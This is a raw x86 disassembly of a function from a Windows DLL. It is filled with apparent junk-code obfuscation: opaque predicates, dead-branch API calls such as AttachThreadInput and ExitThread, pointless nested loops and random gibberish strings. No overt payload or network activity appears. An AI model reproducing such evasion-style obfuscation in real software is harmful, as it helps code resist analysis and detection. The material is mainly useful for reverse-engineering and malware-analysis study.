mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 2
jg 0x10014d50
mov byte [ebp - 0xaa], 0
movzx eax, byte [ebp - 0xaa]
test eax, eax
je 0x10014d4e
push 1
push 0x1fa4
push 0x2114
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x10014d14
jmp 0x10014ce8
jmp 0x10014cb8
xor eax, eax
mov ecx, dword [ebp - 0x2a0]
mov word [ebp + ecx*2 - 0xa84], ax
jmp 0x10014c53
mov dword [ebp - 0x1c], 0x30f94f37
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x2d0], 0x6369dda3
mov dword [ebp - 0x210], 0
jmp 0x10014d9d
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 3
jge 0x10014db9
mov eax, dword [ebp - 0x210]
mov dword [ebp + eax*4 - 0x334], 0xec2e0cf5
jmp 0x10014d90
mov dword [ebp - 0x1c], 2
jmp 0x10014dc9
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x10015321
mov dword [ebp - 0x9e4], 0x25c5395f
mov dword [ebp - 0x9e0], 0x25c5395f
mov dword [ebp - 0x9dc], 0x25c5395f
mov dword [ebp - 0x9d8], 0x25c5395f
lea ecx, [ebp - 0x321]
call fcn.100020e3
push eax
lea eax, [ebp - 0x9d4]
push eax
lea eax, [ebp - 0x9e4]
push eax
lea ecx, [ebp - 0xc40]
call fcn.1000716b
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa38]
call fcn.10007145
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x710], 0x1401
mov dword [ebp - 0x914], str.emg_duoeqc_xihaj_mqmnipxxe_uqkkia_fzgum_apdp_boiynv_jwgxd_gpwu
cmp dword [ebp - 0x710], 0x1685
jle 0x10014f07
and dword [ebp - 0x2c0], 0
jmp 0x10014e71
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0xb04
jge 0x10014f07
and dword [ebp - 0x218], 0
jmp 0x10014e97
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x66e1
jge 0x10014f02
and dword [ebp - 0x2a8], 0
jmp 0x10014eb9
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x750a
jge 0x10014f00
mov eax, dword [ebp - 0x2c0]
mov ecx, dword [ebp - 0x218]
shl eax, cl
mov ecx, dword [ebp - 0x2a8]
shl eax, cl
cdq
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x81c], edx
push dword [ebp - 0x81c]
push dword [ebp - 0x820]
mov ecx, 0x1007cab8
call fcn.10001cb3
jmp 0x10014eac
jmp 0x10014e8a
jmp 0x10014e64
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x334], 0
je 0x1001508a
mov dword [ebp - 0x300], 8
mov dword [ebp - 0x8d4], 0x6c715341
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x334], 0xfffffffa
jg 0x10014f45
mov dword [ebp - 0x610], 1
jmp 0x10014f4c
and dword [ebp - 0x610], 0
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x10014f66
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x334], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x300]
cmp ecx, dword [ebp + eax - 0x334]
jge 0x10014f87
mov dword [ebp - 0x4c8], 1
jmp 0x10014f8e
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x300]
cmp eax, dword [ebp - 0x4c8]
jne 0x10014fa8
mov dword [ebp - 0x6b8], 1
jmp 0x10014faf
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x300]
cmp dword [ebp - 0x6b8], eax
jne 0x10014fc9
mov dword [ebp - 0x4d0], 1
jmp 0x10014fd0
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x4d0]
jg 0x10014fea
cmp dword [ebp - 0x1c], 0
jne 0x10014fea
and dword [ebp - 0x618], 0
jmp 0x10014ff4
mov dword [ebp - 0x618], 1
cmp dword [ebp - 0x618], 0xffff
jne 0x1001500c
mov dword [ebp - 0x4d8], 1
jmp 0x10015013
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x4d8], eax
jl 0x1001502a
mov dword [ebp - 0x724], 1
jmp 0x10015031
and dword [ebp - 0x724], 0
cmp dword [ebp - 0x724], 7
ja 0x10015046
mov dword [ebp - 0x4e0], 1
jmp 0x1001504d
and dword [ebp - 0x4e0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x334]
cmp dword [ebp - 0x4e0], eax
je 0x1001506e
mov dword [ebp - 0x620], 1
jmp 0x10015075
and dword [ebp - 0x620], 0
imul eax, dword [ebp - 0x620], 0xb4c2
mov dword [ebp - 0x8d4], eax
jmp 0x100152a3
push 3
lea ecx, [ebp - 0x9f0]
call fcn.10001dc8
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x80], 0
jmp 0x100150ab
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jge 0x100150c1
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x4e8], 0
jmp 0x100150a4
mov dword [ebp - 0x80], 0
jmp 0x100150d1
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jge 0x100150ed
push dword [ebp - 0x80]
lea ecx, [ebp - 0x9f0]
call fcn.10001e41
mov dword [eax], 0x922cbd4d
jmp 0x100150ca
mov dword [ebp - 0x2c], 2
jmp 0x100150fd
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jl 0x10015125
mov byte [ebp - 0xab], 0
movzx eax, byte [ebp - 0xab]
test eax, eax
je 0x10015123
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
jmp 0x100150f6
mov dword [ebp - 0x2c], 0
jmp 0x10015135
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jg 0x10015294
mov dword [ebp - 0x220], 0
jmp 0x10015158
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 2
jge 0x10015174
mov eax, dword [ebp - 0x220]
mov dword [ebp + eax*4 - 0x984], 6
jmp 0x1001514b
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x334], 0xcc19
jg 0x10015190
mov dword [ebp - 0x4f0], 1
jmp 0x10015197
and dword [ebp - 0x4f0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4e8]
mov dword [ebp - 0xb08], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x984], 0x7180
je 0x100151c9
mov dword [ebp - 0x6c0], 1
jmp 0x100151d0
and dword [ebp - 0x6c0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4e8]
cmp eax, dword [ebp - 0x6c0]
jle 0x100151f1
mov dword [ebp - 0x7e8], 1
jmp 0x100151f8
and dword [ebp - 0x7e8], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x334]
mov dword [ebp - 0xad8], eax
mov dword [ebp - 0x2d0], 0xe0f61949
mov eax, dword [ebp - 0x2d0]
cmp dword [ebp - 0x4f0], eax
jl 0x10015239
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x984], 0
jne 0x10015239
and dword [ebp - 0x628], 0
jmp 0x10015243
mov dword [ebp - 0x628], 1
push 1
lea ecx, [ebp - 0x9f0]
call fcn.10001e41
mov ecx, dword [ebp - 0x628]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp + eax*4 - 0x334]
jge 0x10015273
mov dword [ebp - 0x4f8], 1
jmp 0x1001527a
and dword [ebp - 0x4f8], 0
push 3
lea ecx, [ebp - 0xa38]
call fcn.10001e41
mov ecx, dword [ebp - 0x4f8]
mov dword [eax], ecx
jmp 0x1001512e
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x9f0]
call fcn.10001e25
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x710], 0x1130
jge 0x100152c3
mov edx, dword [ebp - 0x914]
mov ecx, 0x1007cab8
call fcn.100036f5
jmp 0x100152df
mov dword [ebp - 4], 0x17
jmp 0x100152ef
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x334], 0
je 0x1001530d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa38]
call fcn.10001e25
jmp 0x10015321
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa38]
call fcn.10001e25
jmp 0x10014dc2
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x334], 0
je 0x10015381
cmp dword [ebp - 0x2c], 0
jne 0x10015360
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x334]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
add eax, 0xdb1
jne 0x10015360
and dword [ebp - 0x500], 0
jmp 0x1001536a
mov dword [ebp - 0x500], 1
imul eax, dword [ebp - 0x500], 3
test eax, eax
je 0x10015381
mov dword [ebp - 0x630], 1
jmp 0x10015388
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x2d0]
cmp dword [ebp - 0x630], eax
je 0x100153a2
mov dword [ebp - 0x508], 1
jmp 0x100153a9
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x508]
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x5bc], 0
je 0x100179f6
mov dword [ebp - 0x528], 0x567e
mov dword [ebp - 0x8dc], str.wpsai_jhfwkbuuo_socltpgh
cmp dword [ebp - 0x528], 0x5a1a
jle 0x100154d0
and dword [ebp - 0x230], 0
jmp 0x100153fc
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x299f
jge 0x100154be
and dword [ebp - 0x228], 0
jmp 0x10015422
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x2b47
jge 0x100154b9
and dword [ebp - 0x2b0], 0
jmp 0x10015448
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x5608
jge 0x100154b4
mov eax, dword [ebp - 0x228]
cdq
idiv dword [ebp - 0x2b0]
or edx, dword [ebp - 0x230]
mov eax, edx
cdq
mov dword [ebp - 0x82c], eax
mov dword [ebp - 0x828], edx
push dword [ebp - 0x828]
push dword [ebp - 0x82c]
lea ecx, [ebp - 0xc88]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x7f4], eax
mov ecx, dword [ebp - 0x7f4]
call fcn.10001c93
push eax
call fcn.100490c6
pop ecx
lea ecx, [ebp - 0xc88]
call fcn.10001c89
jmp 0x1001543b
jmp 0x10015415
jmp 0x100153ef
push 0x1588
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 4
lea ecx, [ebp - 0x778]
call fcn.10001dc8
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x238], 0xf57a7c2
mov dword [ebp - 0xb04], 1
push 2
lea ecx, [ebp - 0x930]
call fcn.10001dc8
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x284], 8
mov dword [ebp - 0x114], 0x3a4c6382
mov dword [ebp - 0x84], 0
jmp 0x10015536
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 4
jge 0x10015555
push dword [ebp - 0x84]
lea ecx, [ebp - 0x778]
call fcn.10001e41
or dword [eax], 0xffffffff
jmp 0x10015529
mov dword [ebp - 0x84], 0
jmp 0x1001556e
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jge 0x10015590
push dword [ebp - 0x84]
lea ecx, [ebp - 0x930]
call fcn.10001e41
mov dword [eax], 0xfa5c62e0
jmp 0x10015561
mov eax, dword [ebp - 0x284]
dec eax
mov dword [ebp - 0x284], eax
push 0
lea ecx, [ebp - 0x778]
call fcn.10001e41
cmp dword [eax], 0
je 0x1001565b
xor eax, eax
inc eax
je 0x100155d7
mov dword [ebp - 0x238], 0xf4df7b14
cmp dword [ebp - 0x238], 0
je 0x100155d7
mov dword [ebp - 0x6c8], 1
jmp 0x100155de
and dword [ebp - 0x6c8], 0
push 1
lea ecx, [ebp - 0x778]
call fcn.10001e41
mov ecx, dword [ebp - 0x6c8]
imul ecx, dword [eax]
cmp ecx, 0xfbfc75da
jae 0x10015608
mov dword [ebp - 0x510], 1
jmp 0x1001560f
and dword [ebp - 0x510], 0
push 1
lea ecx, [ebp - 0x778]
call fcn.10001e41
mov ecx, dword [ebp - 0x510]
cmp ecx, dword [eax]
jg 0x10015632
mov dword [ebp - 0x638], 1
jmp 0x10015639
and dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x284]
imul eax, dword [ebp - 0x638]
cmp eax, 0x1bbb
je 0x10015654
cmp dword [ebp - 0x284], 0
cmp dword [ebp - 0x238], 0
mov eax, 0x67a7bf74
test eax, eax
je 0x10015679
cmp dword [ebp - 0x114], 0
je 0x10015679
mov dword [ebp - 0x518], 1
jmp 0x10015680
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x518], eax
jg 0x100156a9
push 1
lea ecx, [ebp - 0x930]
call fcn.10001e41
cmp dword [eax], 0
jne 0x100156a9
and dword [ebp - 0x320], 0
jmp 0x100156b3
mov dword [ebp - 0x320], 1
push 0
lea ecx, [ebp - 0x930]
call fcn.10001e41
mov ecx, dword [ebp - 0x320]
mov dword [eax], ecx
push 3
lea ecx, [ebp - 0x778]
call fcn.10001e41
mov ecx, dword [ebp - 0x320]
cmp ecx, dword [eax]
jne 0x100156eb
mov dword [ebp - 0x72c], 1
jmp 0x100156f2
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x72c], eax
jg 0x10015707
cmp dword [ebp - 0x238], 0
push 1
lea ecx, [ebp - 0x930]
call fcn.10001e41
cmp dword [eax], 0x17b4
jge 0x10015728
mov dword [ebp - 0x520], 1
jmp 0x1001572f
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x520], eax
jle 0x10015749
mov dword [ebp - 0x640], 1
jmp 0x10015750
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x640]
mov dword [ebp - 0x114], eax
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x930]
call fcn.10001e25
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x778]
call fcn.10001e25
mov dword [ebp - 4], 0x1d
cmp dword [ebp - 0x528], 0x534c
jge 0x10015799
push dword [ebp - 0x8dc]
call fcn.100490c6
pop ecx
jmp 0x100157b5
or dword [ebp - 4], 0xffffffff
jmp 0x100157bf
mov dword [ebp - 0x108], 0x12e1dfe
mov dword [ebp - 0x6d0], 0x43e6
mov dword [ebp - 0x800], str.wmqclpr_phiwpvehc_extcm_tmh_cub_pkqeivh_ubgueqb_rbtkyueaw_wdsbt
cmp dword [ebp - 0x6d0], 0x47bb
jle 0x100158cb
and dword [ebp - 0x28c], 0
jmp 0x10015803
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x589c
jge 0x100158cb
and dword [ebp - 0x240], 0
jmp 0x10015829
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x6629
jge 0x100158c6
and dword [ebp - 0x294], 0
jmp 0x1001584f
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x7716
jge 0x100158c1
and dword [ebp - 0x248], 0
jmp 0x10015871
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x30c3
jge 0x100158bf
mov eax, dword [ebp - 0x28c]
cdq
idiv dword [ebp - 0x240]
mov ecx, dword [ebp - 0x294]
sar edx, cl
and edx, dword [ebp - 0x248]
mov eax, edx
cdq
mov dword [ebp - 0x838], eax
mov dword [ebp - 0x834], edx
push dword [ebp - 0x834]
push dword [ebp - 0x838]
mov ecx, 0x1007cab8
call fcn.10001cb3
jmp 0x10015864
jmp 0x10015842
jmp 0x1001581c
jmp 0x100157f6
mov dword [ebp - 0x34], 7
mov dword [ebp - 4], 0x1f
cmp dword [ebp - 0x6d0], 0x40e3
jge 0x100158f5
mov edx, dword [ebp - 0x800]
mov ecx, 0x1007cab8
call fcn.100036f5
jmp 0x10015911
or dword [ebp - 4], 0xffffffff
jmp 0x1001591b
push 1
lea ecx, [ebp - 0x760]
call fcn.10001dc8
mov dword [ebp - 4], 0x21
mov dword [ebp - 0xfc], 1
push 1
lea ecx, [ebp - 0x940]
call fcn.10001dc8
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x174], 0xe12cdfd7
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x660], 0xfffffffe
mov dword [ebp - 0x7c], 0
jmp 0x10015978
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x10015994
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x760]
call fcn.10001e41
mov dword [eax], 0xfffffff7
jmp 0x10015971
mov dword [ebp - 0x7c], 0
jmp 0x100159a4
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x100159c0
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x940]
call fcn.10001e41
mov dword [eax], 1
jmp 0x1001599d
push 0
lea ecx, [ebp - 0x760]
call fcn.10001e41
mov esi, eax
push 0
lea ecx, [ebp - 0x760]
call fcn.10001e41
mov eax, dword [eax]
cmp eax, dword [esi]
jg 0x100159ee
mov dword [ebp - 0x530], 1
jmp 0x100159f5
and dword [ebp - 0x530], 0
cmp dword [ebp - 0x530], 0xfffffff9
jl 0x10015a0a
mov dword [ebp - 0x648], 1
jmp 0x10015a11
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x648]
jle 0x10015ab6
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x34]
je 0x10015a3a
mov dword [ebp - 0x944], 1
jmp 0x10015a41
and dword [ebp - 0x944], 0
push 0
lea ecx, [ebp - 0x760]
call fcn.10001e41
mov dword [eax], 0x4b4b
mov eax, 0x4b4b
sub eax, dword [ebp - 0x34]
je 0x10015a73
mov eax, 0xffff
test eax, eax
je 0x10015a73
mov dword [ebp - 0x80c], 1
jmp 0x10015a7a
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xb94], eax
cmp dword [ebp - 0x34], 0x99612158
jb 0x10015a98
mov dword [ebp - 0x538], 1
jmp 0x10015a9f
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x538]
sub eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x34]
jge 0x10015ab6
and dword [ebp - 0x718], 0
jmp 0x10015ac0
mov dword [ebp - 0x718], 1
cmp dword [ebp - 0x718], 0xa4a2c6eb
jae 0x10015ad8
mov dword [ebp - 0x540], 1
jmp 0x10015adf
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x540], eax
jle 0x10015af9
mov dword [ebp - 0x8e4], 1
jmp 0x10015b00
and dword [ebp - 0x8e4], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xb0c], eax
mov esi, dword [ebp - 0xfc]
push 0
lea ecx, [ebp - 0x760]
call fcn.10001e41
mov eax, dword [eax]
sub eax, 6
cmp eax, esi
jle 0x10015b34
mov dword [ebp - 0x350], 1
jmp 0x10015b3b
and dword [ebp - 0x350], 0
mov eax, dword [ebp - 0x350]
neg eax
je 0x10015b54
cmp dword [ebp - 0x34], 0
je 0x10015b54
and dword [ebp - 0x548], 0
jmp 0x10015b5e
mov dword [ebp - 0x548], 1
cmp dword [ebp - 0x548], 0xd9caaf7c
je 0x10015b76
mov dword [ebp - 0x6d8], 1
jmp 0x10015b7d
and dword [ebp - 0x6d8], 0
cmp dword [ebp - 0x6d8], 0x80d0e101
jbe 0x10015b95
mov dword [ebp - 0x550], 1
jmp 0x10015b9c
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x550], eax
jg 0x10015bb6
cmp dword [0x1008bd44], 0
je 0x10018191
push 3
lea ecx, [ebp - 0xb34]
call fcn.10001dc8
mov dword [ebp - 4], 0x35
mov dword [ebp - 0x88], 0
jmp 0x10017a30
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x10017a52
push dword [ebp - 0x88]
lea ecx, [ebp - 0xb34]
call fcn.10001e41
mov dword [eax], 0xfffffff6
jmp 0x10017a23
mov dword [ebp - 0x88], 0
jmp 0x10017a6b
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 4
jge 0x10017a87
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xa58], 0x96960f57
jmp 0x10017a5e
mov byte [ebp - 0xc9], 0
movzx eax, byte [ebp - 0xc9]
test eax, eax
je 0x10017a9f
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xa58], 2
jmp 0x10017acd
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa58]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa58], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa58], 0
jl 0x10017afe
mov byte [ebp - 0xd1], 0
movzx eax, byte [ebp - 0xd1]
test eax, eax
je 0x10017afc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
jmp 0x10017ab2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb34]
call fcn.10001e25
mov eax, dword [ebp + 8]
mov dword [ebp - 0x8ac], eax
mov dword [ebp - 0x24c], 0x2db22124
mov dword [ebp - 0x244], 0
jmp 0x10017b39
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 4
jge 0x10017b55
mov eax, dword [ebp - 0x244]
mov dword [ebp + eax*4 - 0xc0c], 0x9fe387fb
jmp 0x10017b2c
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc0c]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xc0c], eax
mov dword [ebp - 0x24c], 0xffffffea
jmp 0x10017b89
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 6
jl 0x10017bf7
mov dword [ebp - 0x5c4], 0xb1b055cc
mov dword [ebp - 0x8a4], 0x27603859
mov eax, dword [ebp - 0x5c4]
sub eax, dword [ebp - 0x5c4]
cmp eax, 0xffffffff
jne 0x10017bc3
mov dword [ebp - 0x5cc], 1
jmp 0x10017bca
and dword [ebp - 0x5cc], 0
cmp dword [ebp - 0x5cc], 0x88eb
jge 0x10017be2
mov dword [ebp - 0x5d4], 1
jmp 0x10017be9
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x8a4], eax
jmp 0x10017b7c
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x8b4], eax
push 2
lea ecx, [ebp - 0x754]
call fcn.10001dc8
mov dword [ebp - 4], 0x36
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x2fc], 0x3b26d5d6
mov dword [ebp - 0x254], 0
jmp 0x10017c3e
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 2
jge 0x10017c5d
push dword [ebp - 0x254]
lea ecx, [ebp - 0x754]
call fcn.10001e41
or dword [eax], 0xffffffff
jmp 0x10017c31
mov dword [ebp - 0x5c], 1
jmp 0x10017c6d
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x10017d05
push 3
lea ecx, [ebp - 0xb44]
call fcn.10001dc8
mov byte [ebp - 4], 0x37
mov dword [ebp - 0xb98], 0xf6a08376
mov dword [ebp - 0x25c], 0
jmp 0x10017cab
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 3
jge 0x10017cca
push dword [ebp - 0x25c]
lea ecx, [ebp - 0xb44]
call fcn.10001e41
and dword [eax], 0
jmp 0x10017c9e
mov dword [ebp - 0x2fc], 1
mov byte [ebp - 0xe2], 0
movzx eax, byte [ebp - 0xe2]
test eax, eax
je 0x10017cf1
push 0x1eb4
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0xb44]
call fcn.10001e25
jmp 0x10017c66
mov dword [ebp - 0x5c], 0
jmp 0x10017d15
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xb
jg 0x10017f7b
mov dword [ebp - 0x8c], 0x357e8f53
mov esi, dword [ebp - 0x5c]
push 0
lea ecx, [ebp - 0x754]
call fcn.10001e41
cmp dword [eax], esi
jge 0x10017d49
mov dword [ebp - 0x61c], 1
jmp 0x10017d50
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xba0], eax
cmp dword [ebp - 0x8c], 0xfffffff9
jge 0x10017d71
mov dword [ebp - 0x5dc], 1
jmp 0x10017d78
and dword [ebp - 0x5dc], 0
cmp dword [ebp - 0x5dc], 0
jne 0x10017d93
cmp dword [ebp - 0x8c], 0
jne 0x10017d93
and dword [ebp - 0x5e4], 0
jmp 0x10017d9d
mov dword [ebp - 0x5e4], 1
mov eax, dword [ebp - 0x5e4]
sub eax, dword [ebp - 0x8c]
cmp eax, 0xc84814c7
ja 0x10017dbc
mov dword [ebp - 0x5ec], 1
jmp 0x10017dc3
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x5ec], eax
jl 0x10017dde
xor eax, eax
jne 0x10017dde
and dword [ebp - 0x8fc], 0
jmp 0x10017de8
mov dword [ebp - 0x8fc], 1
mov eax, 0x5bd571e9
cmp eax, 0xffffffff
je 0x10017dfe
mov dword [ebp - 0x5f4], 1
jmp 0x10017e05
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x5f4], eax
jge 0x10017e1f
mov dword [ebp - 0x5fc], 1
jmp 0x10017e26
and dword [ebp - 0x5fc], 0
cmp dword [ebp - 0x5fc], 0xfffffff7
je 0x10017e3b
mov dword [ebp - 0x604], 1
jmp 0x10017e42
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x604]
add eax, 4
je 0x10017e54
push 0xfffffffffffffff7
pop eax
test eax, eax
jne 0x10017e6f
push 0
lea ecx, [ebp - 0x754]
call fcn.10001e41
cmp dword [eax], 0
jne 0x10017e6f
and dword [ebp - 0x60c], 0
jmp 0x10017e79
mov dword [ebp - 0x60c], 1
push 1
lea ecx, [ebp - 0x754]
call fcn.10001e41
mov ecx, dword [ebp - 0x60c]
cmp ecx, dword [eax]
je 0x10017e9c
mov dword [ebp - 0x614], 1
jmp 0x10017ea3
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x614], eax
jl 0x10017ebd
mov dword [ebp - 0x624], 1
jmp 0x10017ec4
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x61c]
cmp eax, dword [ebp - 0x624]
jne 0x10017ede
mov dword [ebp - 0x62c], 1
jmp 0x10017ee5
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x62c]
mov ecx, dword [ebp - 0x2fc]
imul ecx, eax
cmp ecx, 0xffffffff
jg 0x10017f14
mov dword [ebp - 0x634], 1
jmp 0x10017f1b
and dword [ebp - 0x634], 0
push 1
lea ecx, [ebp - 0x754]
call fcn.10001e41
mov ecx, dword [ebp - 0x634]
cmp ecx, dword [eax]
jge 0x10017f3e
mov dword [ebp - 0x63c], 1
jmp 0x10017f45
and dword [ebp - 0x63c], 0
cmp dword [ebp - 0x63c], 1
jl 0x10017f5a
mov dword [ebp - 0x644], 1
jmp 0x10017f61
and dword [ebp - 0x644], 0
push 1
